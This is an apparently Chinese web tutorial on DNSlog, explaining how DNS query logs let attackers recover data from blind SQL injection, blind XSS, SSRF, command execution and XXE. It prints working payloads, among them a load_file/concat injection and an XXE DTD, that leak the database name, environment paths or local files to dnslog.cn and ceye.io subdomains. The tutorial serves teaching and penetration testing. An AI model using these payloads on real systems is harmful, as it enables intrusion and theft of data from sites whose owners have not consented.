深入理解DNSlog
0x00 DNSlog 介紹
首先我們知道DNS是起ip與域名的解析的服務,通過ip可以解析到對應的域名。DNSlog就是儲存在DNS上的域名相關的信息,它記錄著你對域名或者IP的訪問信息,也就是類似于日志文件,
0x01 DNSlog回顯原理
首先了解一下多級域名的概念,我們知道因特網采用樹狀結構命名方法,按組織結構劃分域是一個名字空間中一個被管理的劃分,域可劃分為子域,子域再可被劃分為多級域名稱為一級域名,二級域名,三級域名,從一個域名地址來從右到左依次是頂級域名,二級域名,三級域名,例如 gaobai.kxsy.com,
通俗的說就是我有個域名kxsy.work,我將域名設置對應的ip 2.2.2.2 上,這樣當我向dns服務器發(fā)起kxsy.work的解析請求時,DNSlog中會記錄下他給kxsy.work解析,解析值為2.2.2.2,而我們這個解析的記錄的值就是我們要利用的地方,這個過程被記錄下來就是DNSlog,
0x02 DNSlog 應用
1.sql布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯可利用NDSlog
2.無回顯的命令執(zhí)行
推薦三個大眾化的免費dns解析記錄網站
http://www.dnslog.cn
http://admin.dnslog.link
http://ceye.io
0x03 DNSlog回顯注入條件
1.數(shù)據(jù)庫root權限,
2.數(shù)據(jù)庫可讀寫權限,secure_file_priv值為空,上期筆記有說明,
3.windows系統(tǒng),
0x04 DNSlog -sql注入
1.注冊一個dns解析服務,利用唯一標識符,以無回顯sql注入為例

2.注入測試 需要閉合語句 替換標識符 利用盲注回顯
?id=1' and if((select load_file(concat('\\\\',(select database()),'.tlyypi.dnslog.cn\\abc'))),1,0)--+
在回顯數(shù)據(jù)時,域名能夠接受的字符是有條件限制的,某些不適合作為域名的特殊字符可能會被屏蔽掉,針對這種情況我們也可以base64編碼后再進行請求。
0x05 DNSlog 其他應用
1.xss盲打
"<script src=http://XSS.XXXXX.ceye.io></script>"
2.SSRF
"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\aa"> ..."
3.命令執(zhí)行
" ping %PATH%.pxxx.ceye.io ..."
4.XXE
XXE漏洞可以解析外部實體,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://XXXX.ceye.io/%file;'>" > %all;
到此這篇關于深入理解DNSlog 的文章就介紹到這了,更多相關DNSlog內容請搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關文章希望大家以后多多支持腳本之家!
相關文章
使用Unbound配置DNS緩存服務器的實現(xiàn)步驟
本文主要介紹了使用Unbound配置DNS緩存服務器的實現(xiàn)步驟,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友們下面隨著小編來一起學習學習吧2023-08-08
win2003服務器搭建DNS服務器配置圖解教程(比較詳細)
DNS簡單地說,就是Domain Name System(域名系統(tǒng))。在一個以TCP/IP協(xié)議為主的網絡環(huán)境中,DNS是一個非常重要而且常用的系統(tǒng)。其主要的功能就是將我們容易記憶的網址域名(Domain Name)與不容易記憶的IP地址作自動解析互換2012-05-05

